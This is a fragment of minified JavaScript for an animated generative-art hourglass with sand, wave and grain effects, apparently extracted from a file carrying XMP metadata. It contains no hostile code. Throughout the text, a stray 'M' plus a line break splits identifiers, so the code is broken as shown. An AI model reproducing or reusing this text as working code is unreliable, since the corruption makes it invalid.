t(5,50)),this.thickness2.push(getRandomInt(50,200)),this.theta2.push({value:random(this.thetaList)}),this.velocity2.push({value:random(this.min_speed,this.max_speed)}),this.sz2.push(random(.5,3)),this.xspacing3.push(getRandomInt(5,50)),this.thickness3.push(getRandomInt(50,200)),this.theta3.push({value:random(this.thetaList)}),this.velocity3.push({value:random(this.min_speed,this.max_speed)}),this.sz3.push(random(.5,3)),this.xspacing4.push(getRandomInt(5,50)),this.thickness4.push(getRandomInt(50,200)),this.theta4.puM
sh({value:random(this.thetaList)}),this.velocity4.push({value:random(this.min_speed,this.max_speed)}),this.sz4.push(random(.5,3));let t=e%5;this.c.push(Color.getSandColorByIndex(t,this._h,this._s,this._l).luminance(.25))}}setupDynamicWave(){this.dynamicWave={h:random(this.hCanvas/3),xspacing:getRandomInt(5,20),thickness:getRandomInt(100,200),theta:{value:random(this.thetaList)},velocity:{value:random(this.min_speed,this.max_speed)},sz:random(1,3),num_lines:0},1==this.patternOrder[0]?this.dynamicWave.h=random(200,heM
ight-200):2==this.patternOrder[0]?this.dynamicWave.h=random(200,width-200):(3==this.patternOrder[0]||4==this.patternOrder[0])&&(this.dynamicWave.h=random(200,2*this.ty-200))}update(e){this.time=e}drawHorWave(e,t,i,s,a,r,h,n,o){this.dx=TWO_PI/this.period*i,this.yvalues=new Array(floor(width/i+20));let l=this.time.getTime()/(1e3/60),d=r.value+h.value*l/5+t;for(let e=0;e<this.yvalues.length;e++)this.yvalues[e]=sin(d)*this.amplitude,d+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),tM
+=s/a;for(let s=0;s<this.yvalues.length;s++){let a=s*i,r=t+this.yvalues[s];r<-2||r>height+2||e.square(a,r,n*this.maxR)}}}drawVerWave(e,t,i,s,a,r,h,n,o){this.dx=TWO_PI/this.period*i,this.xvalues=new Array(floor(height/i+20));let l=this.time.getTime()/(1e3/60),d=r.value+h.value*l/5+t;for(let e=0;e<this.xvalues.length;e++)this.xvalues[e]=sin(d)*this.amplitude,d+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),t+=s/a;for(let s=0;s<this.xvalues.length;s++){let a=t+this.xvalues[s],r=s*iM
;a<-2||a>width+2||e.square(a,r,n*this.maxR)}}}drawDiaWave(e,t,i,s,a,r,h,n,o,l){let d=cos(-l),m=sin(-l);this.dx=TWO_PI/this.period*i,this.yvalues=new Array(floor(this.diagonal/i));let p=this.time.getTime()/(1e3/60),g=r.value+h.value*p/5+t;for(let e=0;e<this.yvalues.length;e++)this.yvalues[e]=sin(g)*this.amplitude,g+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),t+=s/a;for(let s=0;s<this.yvalues.length;s++){let a=s*i,r=t+this.yvalues[s],h=n*this.maxR,o=a-this.diagonal/2,l=r-this.tM
y,p=o*d+l*m+width/2,g=-o*m+l*d+height/2;p<-2||p>width+2||g<-2||g>height+2||e.square(a,r,h)}}}drawHorizontal(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawHorWave(e,t,this.xspacing1[i]*width/1024,this.thickness1[i]*height/1024,this.num_lines,this.theta1[i],this.velocity1[i],this.sz1[i],this.c[i]),t+=(height+50)/this.num_waves}drawVertical(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawVerWave(e,t,this.xspacing2[i]*height/1024,this.thickness2[i]*width/1024,this.num_lines,this.theta2[i],this.vM
elocity2[i],this.sz2[i],this.c[i]),t+=(width+50)/this.num_waves}drawLeft(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing3[i]*this.maxR,this.thickness3[i]*this.maxR,this.num_lines,this.theta3[i],this.velocity3[i],this.sz3[i],this.c[i],PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawRight(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(M
3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing4[i]*this.maxR,this.thickness4[i]*this.maxR,this.num_lines,this.theta4[i],this.velocity4[i],this.sz4[i],this.c[i],3*PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawPattern(e,t){1==t?this.drawHorizontal(e):2==t?this.drawVertical(e):3==t?this.drawLeft(e):this.drawRight(e)}draw(e,t,i,s,a){this._h=s.h,this._s=s.s,this._l=s.l,e.background(0);let r=t.getHours()>=6&&t.getHours()<18?.2:.05,h=Color.getSandColorByIndex(4,this._h,this._s,M
this._l).luminance(r).alpha(.5);if(e.background(color(...Color.chromaToArray(h))),!a)return;this.evolvePeriod==EvolvePeriod.HOURLY?this.dynamicWave.num_lines=(t.getHours()+11)%12+1:this.evolvePeriod==EvolvePeriod.DAILY?this.dynamicWave.num_lines=t.getDay()+1:this.evolvePeriod==EvolvePeriod.MONTHLY&&(this.dynamicWave.num_lines=t.getMonth()+1);for(let e=0;e<this.num_waves;e++){let t=e%5;this.c[e]=Color.getSandColorByIndex(t,this._h,this._s,this._l).luminance(.25)}1==i?(3==this.patternOrder[0]||4==this.patternOrder[0]M
?this.num_waves=30:this.num_waves=20,this.drawPattern(e,this.patternOrder[0])):2==i?(this.patternOrder[0]+this.patternOrder[1]==3?this.num_waves=10:this.patternOrder[0]+this.patternOrder[1]==7?this.num_waves=20:this.num_waves=15,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1])):3==i?(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2])):(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),M
this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2]),this.drawPattern(e,this.patternOrder[3]));let{h:n,xspacing:o,thickness:l,num_lines:d,theta:m,velocity:p,sz:g}=this.dynamicWave,c=Color.getSandColorByIndex(0,this._h,this._s,this._l).luminance(.5);1==this.patternOrder[0]?this.drawHorWave(e,n,o*width/1024,l*height/1024,d,m,p,g,c):2==this.patternOrder[0]?this.drawVerWave(e,n,o*height/1024,l*width/1024,d,m,p,g,c):3==this.patternOrder[0]?(e.push(),e.translate(width/2,height/2),e.rotate(PI/M
4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,PI/4),e.pop()):4==this.patternOrder[0]&&(e.push(),e.translate(width/2,height/2),e.rotate(3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,3*PI/4),e.pop())}}class GrainRenderer{static texture;static deltaX;static deltaY;static maxDelta=100;static wCanvas;static hCanvas;static setup(e,t){GrainRenderer.wCanvas=e+GrainRenderer.maxDelta,GrainRenderer.hCanvas=t+GrainRendereM
r.maxDelta,GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0),GrainRenderer.texture=createImage(GrainRenderer.wCanvas,GrainRenderer.hCanvas),GrainRenderer.texture.loadPixels();let i=GrainRenderer.texture.pixelDensity();for(let e=0;e<GrainRenderer.wCanvas;e++)for(let t=0;t<GrainRenderer.hCanvas;t++){let s=216.75,a=255,r=random(s,a),h=random(s,a),n=random(s,a);for(let s=0;s<i;s++)for(let a=0;a<i;a++){let o=4*((t*i+a)*GrainRenderer.wCanvas*i+(e*i+s));GrainRendM
erer.texture.pixels[o]=r,GrainRenderer.texture.pixels[o+1]=h,GrainRenderer.texture.pixels[o+2]=n,GrainRenderer.texture.pixels[o+3]=255}}GrainRenderer.texture.updatePixels()}static applyGrain(e,t){let i=!!t&&{atFrame:1};e.textureOverlay(GrainRenderer.texture,{mode:BURN,animate:i})}static applyGrainToMainCanvas(e){blendMode(BURN),e&&(GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0)),image(GrainRenderer.texture,GrainRenderer.deltaX,GrainRenderer.deltaY)}}conM
st HourglassSize={SMALL:"SMALL",MEDIUM:"MEDIUM",LARGE:"LARGE"};class HourglassRenderer{constructor(e,t,i){this.nLayer=10,this.wCanvas=e.width,this.hCanvas=e.height,this.hourglassSize=t.hourglassSize,this.poly=t.poly,this.evolvePeriod=t.evolvePeriod,this.xc=this.wCanvas/2,this.yc=this.hCanvas/2,this.x1=this.xc+random(100,300),this.y1=this.yc+random(100,300),this.x2=this.xc+random(100,300),this.y2=this.yc+random(100,300),this.x1m=this.wCanvas-this.x1,this.y1m=this.y1,this.maxR=min(this.wCanvas,this.hCanvas)/2,1==thisM
.poly?this.mainRadius=.1*this.maxR*4:this.mainRadius=.1*this.maxR*getRandomInt(1,6),i.registerIterationChangeEvent(this.onIterationChange.bind(this));let s=i.getCurrentIteration();this.onIterationChange(s),this.topline=this.polygon(this.xc,this.yc,this.poly,PI),this.bottomline=this.polygon(this.xc,this.yc,this.poly,0),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.excitement=.15*max(this.sandRects[0][2],this.sandRects[0][3]),this.dx=[],this.dy=[];for(let e=0;e<2M
*this.nLayer;++e)this.dx[e]=random(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement);this.curSecond=(new Date).getSeconds(),this.rotateAngle=0}onIterationChange(e){randomSeed(100*e+2),this.startAngle=this.getStartAngle(),this.radiuses=this.getRadiuses()}getIteration(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(M
e.getFullYear()-1970)+e.getMonth()),t}getStartAngle(){let e=getRandomInt(1,6);return PI/(2.5+.5*e)}getRadiuses(){let e,t;this.hourglassSize==HourglassSize.MEDIUM?(e=.45*this.maxR,t=.55*this.maxR):this.hourglassSize==HourglassSize.LARGE&&(e=.6*this.maxR,t=.7*this.maxR);let i=[];for(let s=0;s<this.poly;s++){let a;a=0==s?e:random(e,t),i.push(a)}return i}update(e,t){if(e.getSeconds()!=this.curSecond){this.curSecond=e.getSeconds(),this.secondTicked=!0,this.rotateAngle+=PI/30;for(let e=0;e<2*this.nLayer;++e)this.dx[e]=raM
ndom(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement)}else this.secondTicked=!1;this.topline=this.polygon(this.xc,this.yc,this.poly,PI+t),this.bottomline=this.polygon(this.xc,this.yc,this.poly,t),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.time=e,this.rotation=t}draw(e,t,i){let s=i.luminance(.3);e.fill(255,255,255,255),e.blendMode(REMOVE),e.rect(0,0,this.wCanvas,this.hCanvas),e.blendMode(BLEND),0==t?this.drawShadowNormal(eM
,s,this.time):1==t&&this.drawShadowCircle(e,s),e.fill(255,255,255,255),e.blendMode(REMOVE),this.drawShape(e,this.topline),this.drawShape(e,this.bottomline),e.blendMode(BLEND)}drawShadowNormal(e,t,i){let s=floor(i.getMinutes()/10),a=i.getMinutes()%10;e.push(),e.noFill(),e.strokeWeight(.005*this.maxR);for(let i=0;i<s;i++){let a=map(i,s,0,.2,.5),r=color(...Color.chromaToArray(t.alpha(a)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i],this.yc+this.dy[2*i],this.poly,PI)}for(let i=0;i<a;i++){let s=map(i,a,0,.M
2,.5),r=color(...Color.chromaToArray(t.alpha(s)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i+1],this.yc+this.dy[2*i+1],this.poly,0)}e.pop()}drawShadowCircle(e,t){e.push(),e.noStroke(),e.translate(this.xc,this.yc),e.rotate(PI+this.rotateAngle);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.fill(a),this.getAndDrawPolygon(e,0,2.5*this.mainRadius,this.poly,PI),this.getAndDrawPolygon(e,0,2.5*-this.mainRadius,this.poly,0),e.rotate(PI/3)}e.pop(),e.push(),e.noFill(),M
e.strokeWeight(2),e.translate(this.xc,this.yc),e.rotate(-this.rotateAngle+PI/30);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.stroke(a),this.getAndDrawPolygon(e,0,-this.mainRadius/2,this.poly,PI),this.getAndDrawPolygon(e,0,this.mainRadius/2,this.poly,0),e.rotate(-PI/3)}e.pop()}getAndDrawPolygon(e,t,i,s,a){let r=this.polygon(t,i,s,a);this.drawShape(e,r)}drawShape(e,t){e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.endShape(e.CLOSE)}polygon(e,t,i,s){leM
t a=(PI/2-this.startAngle)/i,r=0,h=[];h.push({x:e,y:t});let n=this.startAngle+s;for(let s=0;s<i;s++){let i=this.radiuses[r];r+=1;let s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}r=this.poly,n=PI/2+a+s;for(let s=0;s<i;s++){r-=1;let i=this.radiuses[r],s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}return h=h.filter((e=>!isNaN(e.x)&&!isNaN(e.y))),h}getSandRects=()=>this.sandRects;getTopLine=()=>this.topline;getBottomLine=()=>this.bottomline;getSecondTicked=()=>this.secondTicked}const WavePeriod={SHORT:"SHORT",MEM
DIUM:"MEDIUM",LONG:"LONG"},WaveHeight={SHORT:"SHORT",MEDIUM:"MEDIUM",TALL:"TALL"},WaveSpeed={SLOW:"SLOW",MEDIUM:"MEDIUM",FAST:"FAST"};class SandRenderer{static N_CURVE_POINT=50;static DROPDOWN_TIME=3;constructor(e,t,i,s,a,r,h,n){this.wCanvas=e.width,this.hCanvas=e.height,this.hInit=t,this.baseLine=this.transformCoord(i),this.baseH=s,this.baseS=a,this.baseL=r,this.curSecond=0,this.waveHeight=h.waveHeight,this.wavePeriod=h.wavePeriod,this.waveSpeed=h.waveSpeed,this.evolvePeriod=h.evolvePeriod,this.nSandLayer=6,this.lM
ayers=this.getLayers(),this._h=this.baseH,this._s=this.baseS,this._l=this.baseL,this.prevIteration=null,n.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=n.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){null==this.prevIteration?this._h=this.getHue(this.baseH,0,e):this._h=this.getHue(this._h,this.prevIteration,e),this.prevIteration=e}getHue(e,t,i){let s=min(t,i),a=max(t,i);for(let r=s;r<a;r++){randomSeed(100*r+3);let s=random(1);if(this.evolvePeriod==EvolvePeriod.HOURLY?s=M
map(s,0,1,5,10):this.evolvePeriod==EvolvePeriod.DAILY?s=map(s,0,1,10,30):this.evolvePeriod==EvolvePeriod.MONTHLY&&(s=map(s,0,1,50,100)),i>t)for(e+=s;e>360;)e-=360;else for(e-=s;e<0;)e+=360}return e}update(e){this.time=e}getChroma(){return Color.getSandColorByIndex(0,this._h,this._s,this._l)}getBaseHSL(){return{h:this._h,s:this._s,l:this._l}}draw(e,t,i,s,a){this.nLayer=(this.time.getHours()+11)%12+1,t=this.transformCoord(t),e.background(0);let r=this.getChroma().luminance(.5).alpha(.25);e.background(color(...Color.cM
hromaToArray(r))),e.strokeWeight(1),this.layers.forEach((e=>{if(0==e.id)e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).luminance(.2).alpha(1);else{let t=map(e.id/this.nSandLayer,0,1,.5,.8);e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).alpha(t)}let s=map(i,0,1,e.baselineY,this.hInit),a=max(0,map(s,this.hInit,0,0,1)),r=Geometry.getPolyArea(t)*a;e.y=Geometry.getYByAreaBelow(t,r),e.y=map(e.y,0,this.hInit,.05*-this.hCanvas,this.hInit+.05*this.hCanvas)})),this.layers.forEach((i=>{s&&2*i.id<thisM
.nLayer&&this.drawDropdown(e,t,i,a)})),this.layers.forEach((t=>this.drawLayer(e,t)));let h=!1;this.time.getSeconds()!=this.curSecond&&(this.curSecond=this.time.getSeconds(),h=!0),GraphicUtils.applyMask(e,t)}transformCoord(e){let[t,i,s,a]=Geometry.getBoundingBox(e),r=t+s,h=i+a;return e.map((e=>{let n=map(e.x,t,r,-s/2,s/2)+this.wCanvas/2,o=map(e.y,i,h,0,a);return createVector(n,o)}))}getLayers(){let e=[];for(let t=0;t<this.nSandLayer;t++){let i,s=this.hInit/this.nSandLayer*t;this.waveSpeed==WaveSpeed.SLOW?i=random(.0M
08,.012):this.waveSpeed==WaveSpeed.MEDIUM?i=random(.016,.024):this.waveSpeed==WaveSpeed.FAST&&(i=random(.032,.048));let a,r,h=random(1e4);this.wavePeriod==WavePeriod.SHORT?a=random(2.7,3):this.wavePeriod==WavePeriod.MEDIUM?a=random(1.8,2):this.wavePeriod==WavePeriod.LONG&&(a=random(1.2,1.3)),this.waveHeight==WaveHeight.SHORT?r=this.hCanvas/30:this.waveHeight==WaveHeight.MEDIUM?r=this.hCanvas/24:this.waveHeight==WaveHeight.TALL&&(r=this.hCanvas/18);let n={mode:"DELTA_Y",deltaY:(e,t)=>map(sin(e*a*TAU+t*i+h),-1,1,-r,rM
)};e.push({id:t,baselineY:s,height:r,speed:i,seed:h,shape:n,stripe:{distance:random(.04*this.hInit,.08*this.hInit),height:random(.02*this.hInit,.04*this.hInit),stretch:random(1.2,1.5),colorTransform:e=>e.brighten(1.2)}})}return e}drawDropdown=(e,t,i,s)=>{let{c:a,shape:r}=i,h=Geometry.getBoundingBox(t)[3],n=this.time.getTime()/(1e3/60),o=createVector(this.wCanvas/2,0),l=createVector(this.wCanvas/2,h),d=[];for(let e=0;e<50;e++){let t=e/49,i=o.copy(),{x:s,y:a}=Vector.lerp(i,l,t);s+=r.deltaY(t,-n/5)*map(e,0,50,.1,1.5),M
d.push(createVector(s,a))}let m=map(s,0,SandRenderer.DROPDOWN_TIME,0,50);m=min(m,50),e.push(),e.noStroke(),e.fill(color(...Color.chromaToArray(a)));for(let t=0;t<m;t++)e.square(d[t].x,d[t].y,.004*this.hCanvas);e.pop()};drawLayer=(e,t)=>{if(2*t.id<this.nLayer){let i=this.getLayerPointline(t);this.drawWave(e,i,t),this.drawPattern(e,i,t,this.hCanvas/8,this.hCanvas/60),2*t.id+1<this.nLayer&&this.drawStripe(e,i,t)}};getLayerPointline=e=>{let{y:t,shape:i}=e,s=[],a=this.time.getTime()/(1e3/60);if("DELTA_Y"==i.mode){let e=M
createVector(0,t),r=createVector(this.wCanvas,t);for(let t=0;t<SandRenderer.N_CURVE_POINT;t++){let h=t/(SandRenderer.N_CURVE_POINT-1),n=e.copy(),{x:o,y:l}=Vector.lerp(n,r,h);l+=i.deltaY(h,a/5),s.push(createVector(o,l))}}else s=[start,end];return s};drawWave=(e,t,i)=>{let{c:s}=i;e.noStroke(),e.fill(color(...Color.chromaToArray(s))),e.beginShape(),e.vertex(0,this.hCanvas);for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.vertex(this.wCanvas,this.hCanvas),e.endShape()};drawPattern=(e,t,i,s,a)=>{e.noStroke();for(letM
 i=a;i<=s;i+=a){let a=map((i-1)/(s-1),0,1,.2,0);e.fill(0,255*a),e.beginShape();for(let s=0;s<t.length;s++)e.vertex(t[s].x,t[s].y+i);for(let s=t.length-1;s>=0;s--)e.vertex(t[s].x,t[s].y+(i-1));e.endShape()}};drawStripe=(e,t,i)=>{let{c:s,stripe:{distance:a,height:r,stretch:h,colorTransform:n}}=i;e.noStroke();let o=n(s),l=color(...Color.chromaToArray(o)),d=s.alpha();l.setAlpha(255*d),e.fill(l),e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x*h,t[i].y+a);for(let i=t.length-1;i>=0;i--)e.vertex(t[i].x*h,t[i].y+aM
+r);e.endShape()}}new Q5("global");let wCanvas,hCanvas,canvas,timeController,hourglass,layerBackground,layerSandTop,layerSandBottom,layerHourglass,renBackground,renSandTop,renSandBottom,renHourglass,renPostProcessing,traits,prevSpeed,showMode,currentTime,maxFps=60;setup=()=>{setupRandom(),setupTraits(),setupSketch()},setupRandom=()=>{let e=p5seed;randomSeed(e),noiseSeed(e)},setupTraits=()=>{let e=getRandomInt(1,10),t=getRandomItem([[HourglassSize.MEDIUM,70],[HourglassSize.LARGE,30]]),i=getRandomItem([[WaveHeight.SHM
ORT,1],[WaveHeight.MEDIUM,1],[WaveHeight.TALL,1]]),s=getRandomItem([[WavePeriod.SHORT,1],[WavePeriod.MEDIUM,1],[WavePeriod.LONG,1]]),a=getRandomItem([[WaveSpeed.SLOW,1],[WaveSpeed.MEDIUM,1],[WaveSpeed.FAST,1]]),r=getRandomItem([[EvolvePeriod.HOURLY,60],[EvolvePeriod.DAILY,35],[EvolvePeriod.MONTHLY,5]]),h=getRandomItem([[1,5],[2,20],[3,50],[4,20],[5,5]]),n=getPatternOrder(),o=getRandomItem(AngelNumber.map((e=>[e[0],1]))),l=getRandomItem(BlissLimit.map((e=>[e[0],e[2]])));traits={waveHeight:i,wavePeriod:s,waveSpeed:a,M
evolvePeriod:r,color:e,hourglassSize:t,poly:h,patternOrder:n,angelNumber:o,blissLimit:l},console.log(traits)},getPatternOrder=()=>{let e=[],t=[1,2,3,4],i=getRandomItem([[1,.6],[2,.1],[3,.15],[4,.15]]);e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);for(let s=0;s<3;s++)i=random(t),e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);return e},setupSketch=()=>{frameRate(maxFps),frameCount=0,wCanvas=windowWidth,hCanvas=windowHeight,canvas=createCanvas(wCanvas,hCanvas),showMode=0,timeControM
ller=new TimeController(traits),hourglass=new Hourglass(traits,timeController);let e=getRandomInt(0,361),t=getRandomInt(30,101),i=getRandomInt(50,101);Color.setColorMode(traits.color),layerBackground=createGraphics(wCanvas,hCanvas),renBackground=new BackgroundRenderer(layerBackground,e,t,i,traits,timeController),layerHourglass=createGraphics(wCanvas,hCanvas),renHourglass=new HourglassRenderer(layerHourglass,traits,timeController);let s=renHourglass.getSandRects(wCanvas,hCanvas),a=renHourglass.getTopLine(),r=renHourM
glass.getBottomLine(),h=createVector(s[0][2],s[0][3]).mag();layerSandTop=createGraphics(h,h),layerSandBottom=createGraphics(h,h),renSandTop=new SandRenderer(layerSandTop,s[0][3],a,e,t,i,traits,timeController),renSandBottom=new SandRenderer(layerSandBottom,s[0][3],r,e,t,i,traits,timeController),imgSandTop=createGraphics(wCanvas,hCanvas),imgSandBottom=createGraphics(wCanvas,hCanvas),renPostProcessing=new PostProcessing(wCanvas,hCanvas,traits),GrainRenderer.setup(wCanvas,hCanvas),prevSpeed=1},draw=()=>{let e=0==showMoM
de||1==showMode,t=0==showMode||2==showMode,{time:i,state:s,speed:a,paused:r,isLive:h,realDelta:n}=timeController.step();hourglass.update(i),renSandTop.update(i),renSandBottom.update(i),renBackground.update(i);let o=4==s?1:0,{top:l,rotation:d,flipped:m,timeSinceRotation:p}=hourglass.getState();renHourglass.update(i,d);let g=renSandTop.getChroma(),c=renSandTop.getBaseHSL();if(background(255),renBackground.draw(layerBackground,i,s,c,e),image(layerBackground,0,0),t){let e=renHourglass.getSandRects();renHourglass.draw(lM
ayerHourglass,o,g),renSandTop.draw(layerSandTop,renHourglass.getTopLine(),1-l,!m,p),renSandBottom.draw(layerSandBottom,renHourglass.getBottomLine(),l,m,p),image(layerSandTop,...e[0],(layerSandTop.width-e[0][2])/2,0,e[0][2],e[0][3]),image(layerSandBottom,...e[1],(layerSandBottom.width-e[1][2])/2,0,e[1][2],e[1][3]),image(layerHourglass,0,0)}let u=renHourglass.getSecondTicked();GrainRenderer.applyGrainToMainCanvas(u),renPostProcessing.updateFilter(a,r,h),prevSpeed=a,renPostProcessing.applyToMainCanvas(),currentTime=i}M
,keyPressed=()=>{"+"!=key&&"="!=key||timeController.setFasterSpeed(),"-"==key&&timeController.setSlowerSpeed(),keyCode==LEFT_ARROW&&timeController.jumpBackward(),keyCode==RIGHT_ARROW&&timeController.jumpForward(),keyCode==ESCAPE&&timeController.resumeLive()," "==key&&timeController.togglePause(),"T"!=key&&"t"!=key||(showMode=(showMode+1)%3),"S"!=key&&"s"!=key||saveCanvasAtCurrentTime()},saveCanvasAtCurrentTime=()=>{let e=60*new Date(currentTime).getTimezoneOffset()*1e3,t=new Date(currentTime-e).toISOString().slice(M
0,-1);save(t+".png")};const EvolvePeriod={HOURLY:"HOURLY",DAILY:"DAILY",MONTHLY:"MONTHLY"},AngelNumber=[["11/111/1111",["1:1","1:11","11:1","11:11"],["1/1","11/1","1/11","11/11"]],["22/222/2222",["2:2","2:22","22:2","22:22"],["2/2","22/2"]],["33/333/3333",["3:3","3:33"],["3/3"]],["44/444/4444",["4:4","4:44"],["4/4"]],["55/555/555",["5:5","5:55"],["5/5"]],["66/666/6666",["6:6"],["6/6"]],["77/777/7777",["7:7"],["7/7"]],["88/888/8888",["8:8"],["8/8"]],["99/999/9999",["9:9"],["9/9"]],["1212",["12:12"],["12/12"]],["399/M
339",["3:39"],["3/3","9/3","3/9","9/9"]],["83/8833",["8:3"],["8/3","3/8"]],["72/7722",["7:2"],["7/2","2/7"]],["633/6363",["6:3","6:33"],["6/3","3/6"]],["588",["5:8","8:58"],["8/5","5/8","8/8"]],["446/4646",["4:6","4:46"],["4/4","6/4","4/6"]],["000",[],[]],["1010",["10:10"],["10/10"]],["1017",["10:17","17:10"],["17/10"]],["1022",["10:22","22:10"],["22/10"]],["1313",["13:13"],["1/3","3/1"]],["1444",["14:44"],["4/1","1/4","4/4"]],["2020",["20:20"],["2/2"]]],BlissLimit=[["Forever",-1,3],["2",2,40],["5",5,30],["10",10,2M
0],["20",20,7]];class TimeController{constructor(e){this.speeds=[-3600,-60,-10,-3,1,3,10,60,3600],this.defaultSpeedLevel=4,this.evolvePeriod=e.evolvePeriod,this.angelNumber=e.angelNumber,this.blissLimit=e.blissLimit,this.timestamp=Date.now(),this.prevRealTimestamp=this.timestamp,this.paused=!1,this.speedLevel=this.defaultSpeedLevel;let t=new Date(this.timestamp);this.iteration=this.getIteration(t),this.prevBliss=this.getPrevBliss(t,1),this.iterationChangeHandlers=[]}getCurrentIteration=()=>this.iteration;getIteratiM
on(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(e.getFullYear()-1970)+e.getMonth()),t}registerIterationChangeEvent(e){this.iterationChangeHandlers.push(e)}unregisterIterationChangeEvent(e){this.iterationChangeHandlers=this.iterationChangeHandlers.filter((t=>t!=e))}step(){let e=Date.now(),t=e-this.prevRealTimestamp,i=this.speeds[this.speedLevel],sM
=this.paused?0:i;this.timestamp+=t*s,this.timestamp=this.limitTimestamp(this.timestamp);let a=new Date(this.timestamp),r=this.getStateFromTime(a);this.updateIteration(a),this.prevRealTimestamp=e;let h=this.timestamp==e;return{time:a,state:r,speed:i,paused:this.paused,isLive:h,realDelta:t}}updateIteration(e){let t=this.getIteration(e);t!=this.iteration&&(this.iterationChangeHandlers.forEach((e=>e(t))),this.iteration=t)}getStateFromTime(e){let t,i,s=e.getHours(),a=e.getMinutes(),r=e.getDate(),h=e.getMonth()+1;if("000M
"==this.angelNumber)i=0==s&&0==a,t=i&&1==r&&1==h;else{let e=`${s}:${a}`,n=`${h}/${r}`,o=AngelNumber.filter((e=>e[0]==this.angelNumber))[0];i=o[1].includes(e),t=o[2].includes(n)}return i&&t?4:t?3:i?2:1}limitTimestamp(e){let t=BlissLimit.filter((e=>e[0]==this.blissLimit))[0][1],i=Date.now(),s=this.getPrevBliss(new Date,t);return e>i?(e=i,this.resetSpeed()):e<s&&(e=s,this.resetSpeed()),e}getPrevBliss(e,t){if(-1==t)return 0;let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i-=6e4;let e=this.getStateFrM
omTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}getNextBliss(e,t){if(-1==t)return Date.now();let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i+=6e4;let e=this.getStateFromTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}togglePause(){this.paused=!this.paused}setFasterSpeed(){this.speedLevel=min(this.speedLevel+1,this.speeds.length-1),this.paused=!1}setSlowerSpeed(){this.speedLevel=max(this.speedLevel-1,0),this.paused=!1}jumpForward(){let e=new Date(this.timestamp);this.timestamp=this.getNextBliss(eM
,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}jumpBackward(){let e=new Date(this.timestamp);this.timestamp=this.getPrevBliss(e,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}resetSpeed(){this.speedLevel=this.defaultSpeedLevel,this.paused=!1}resumeLive(){this.timestamp=Date.now(),this.resetSpeed()}}
((((((((((((((((((((((((((((((((((((((((((((((((((
XMP DataXMP<?xpacket begin="
